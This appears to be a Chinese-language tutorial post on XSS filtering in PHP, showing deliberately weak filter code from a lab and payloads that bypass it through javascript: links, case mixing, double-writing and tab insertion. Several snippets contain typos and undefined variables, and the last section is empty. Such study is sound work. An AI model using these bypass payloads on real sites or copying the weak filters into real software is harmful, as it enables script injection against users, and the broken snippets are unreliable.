XSS函數研究

1,使用htmlspecialchars()函數將特殊字符轉換爲HTML實體

<?php
$name=$_GET["name"];
$name=htmlspecialchars($name);
?>
<input type='text' value='<?php echo $name?>'>

被轉換的預定義的字符有:

  • &:轉換爲&amp;
  • ":轉換爲&quot;
  • ':轉換爲成爲 '
  • <:轉換爲&lt;
  • >:轉換爲&gt;

2,使用str_replace()函數替換字符

<?php
$name=$_GET["name"];
$name2=str_replace(">","",$name);
$name3=str_replace("<","",$name2);
?>
<input type='text' value='<?php echo $name3?>'>

​

3,使用strtolower()函數將所有字符轉換爲小寫

<?php
$name=strtolower($_GET["name"]);
$name2=str_replace("<script","<scr_ipt",$name);
$name3=str_replace("on","o_n",$name2)
?>
<input type='text' value='<?php echo $name3?>'>

分析:將輸入全部變成了小寫,<script>與on,不能使用js事件了。但沒有過濾<與>,可以使用僞協議來構造

payload:

'><iframe src=javascript:alert(1)>

'><a href=javascript:alert(1)>

'><a href="javascript:alert(1)">test</a>

4,使用str_replace()函數過濾了<script>,on,href,src,但是沒有strtolower()函數將輸入轉換成小寫,因此可以使用大小寫進行繞過。

​
<?php
$name=s($_GET["name"]);
$name2=str_replace("<script","<scr_ipt",$name);
$name3=str_replace("on","o_n",$name2);
$name4=str_replace("href","hr_ef",$name3);
$name5=str_repalce("src","sr_c",$name4);
?>
<input type='text' value='<?php echo $name3?>'>


​

payload:

'><iframe sRc=javascript:alert(1)>

'><a hRef=javascript:alert(1)>

'><a Href="javascript:alert(1)">test</a>

5,使用str_replace()函數替換了<script>,on,href,src爲空,使用strtolower()函數將輸入轉換成小寫,確保可以完全過濾掉字符,由於使用了str_replace()函數將字符替換爲空,因此可以使用雙寫進行繞過。

​
<?php
$name=strtolower($_GET["name"]);
$name2=str_replace("<script","",$name);
$name3=str_replace("on","",$name2);
$name4=str_replace("href","",$name3);
$name5=str_repalce("src","",$name4);
?>
<input type='text' value='<?php echo $name5?>'>


​

6,過濾javascript關鍵字,會把javascript變成javasc_ript。可以通過tab製表符繞過(%09)

payload:javasc%09ript:alert(1)

​
<?php
$name=strtolower($_GET["name"]);
$name2=str_replace("script","scr_ipt",$name);
$name3=str_replace("on","o_n",$name2);
$name4=str_replace("href","hr_ef",$name3);
$name5=str_repalce("src","sr_c",$name4);
?>
<input type='text' value='<?php echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';


​

7,將所有輸入轉化爲小寫,確保過濾了script,on,src,data,href,"字符

strops()函數,判斷查找字符串在另一字符串中第一次出現的位置(區分大小寫),用來確定輸入是否含有http://

由於是在Javascript的僞協議裏面,所以可以使用單行注視符號//

payload:javascr%09ipt:alert(1)//http://

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
</body>
</html>

8,exif xss 

 

 

 

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章